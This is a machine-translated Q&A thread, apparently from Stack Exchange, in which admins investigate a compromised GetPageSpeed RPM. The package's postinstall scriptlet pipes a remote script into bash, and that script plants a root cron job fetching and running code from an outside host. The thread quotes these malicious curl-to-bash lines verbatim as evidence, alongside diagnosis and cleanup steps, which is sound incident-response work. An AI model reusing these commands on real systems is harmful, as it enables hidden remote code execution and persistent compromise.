Як встановити цей RPM створив файл?


16

Запуск yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmстворює, /etc/cron.d/sysstat2але RPM відхиляє файл:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Як RPM створив файл і як я бачу, що він ще робив?


4
Отож, ці люди GetPageSpeed ​​належать, і вони цього не знають, чи вони самі публікують погані RPM?
Аарон Коплі

1
RPM, який я встановив на їхньому сайті три місяці тому, був хорошим. Зловмисний був розміщений вчора. Я думаю, що вони володіли, і кожен, хто використовує їх репо, отримує право власності. Зловмисник знижується через оновлення yum. Я надіслав їм електронний лист та повідомлення через форму контакту з нами.
Паскаль

І це теж їх підписують?
Аарон Коплі

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmє оригінальним файлом, він все ще має стару дату в їхньому репо, і gpgcheck=1в ньому встановлено.
Паскаль

1
Запропонуйте вам також зв’язатися з веб-адміністратором на сайті sayitwithagift.com, хоча YMMV щодо того, який тип відповіді ви отримаєте. Я перейшов через провайдера хостингу веб-сайтів, щоб один раз зв’язатися з помилковим сервером пошти, оскільки сам веб-сайт ніколи не відповідав.
Даррен

Відповіді:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php містить:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

Ви виявили, що сценарії rpm запускають сценарій з Інтернету, і цей скрипт перенаправляє на те, що може бути зловмисним програмним забезпеченням. Хоча я не знаходжу великої корисної навантаження, яка щось робить.

rpm не може повністю відслідковувати те, що сталося, оскільки він працює довільним сценарієм.

gpgcheck не допоможе вам, як getpagespeed-extras-7-6.el7.gps.noarch.rpmі getpagespeed-extras-release-7-1.el7.gps.noarch.rpmпов’язані вами, схоже, мають дійсні підписи:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Поскаржиться власнику репо, що пакет виконує довільний код з Інтернету. Якщо це необхідно, поліпшення безпеки ланцюга постачань програмного забезпечення потребує покращення.

Здається, трохи параноїдно зробити першу інсталяцію програмного забезпечення без доступу до Інтернету або вручну перевірити сценарій "встановити". Але на жаль майже здається необхідним, якщо пакунки роблять непродумані трюки, як це.


Корисне навантаження - це робота, яка завантажує та запускає ' sayitwithagift.com/pwn.php ' щогодини. Наразі нічого там немає, але це може змінитися в будь-який час. Видалення RPM не видаляє корисне навантаження.
Паскаль

У їх оригінальній RPM не було сценарію після встановлення. Лише версія, завантажена вчора (імовірно, хакером), робить.
Паскаль

1
Незрозуміло, чи додавання з Internet code exec є законною ідеєю чи додана екіпажем шкідливих програм. Останнє ще гірше, тому що це означає, що процеси підписання та завантаження були порушені.
Джон

1

У мене є 5 серверів CLoudLinux / cPanel, якими раніше Nginx на них використовувався через Engintron, але тепер замість них працює веб-сервер LiteSpeed. Я думаю, що Engintron, можливо, залишив відкладені репости позаду, коли він був видалений. cPanel проводить перевірку оновлення щовечора, і близько півночі всі мої сервери надсилали мені повідомлення електронної пошти:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Пошук сайту з корисним навантаженням привів мене сюди, де я бачу, що в той же день у вас виникла та сама проблема. Отже, щоб додати мою інформацію до своєї. Той самий /etc/cron.d/sysstat2файл існував на всіх моїх серверах.

Я видалив файл, видалив репост і скористався контактною формою на GetPageSpeed, щоб повідомити про проблему. Власником Repo може бути AWOL, оскільки там було повідомлення в блозі, в якому говорилося, що він закриває репо з-за проблем зі здоров’ям. Тож, можливо, зловмисник або скористався тим, що репо не звертає на себе уваги, або знайшов відкриті двері для експлуатації.


1
Повідомлення про вимкнення репо було розміщено після того, як він отримав мій електронний лист про компрометацію. Я попросив його знову відкрити репо і розмістити оновлені пакети для видалення /etc/cron.d/sysstat2. Він це зробив.
Паскаль
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.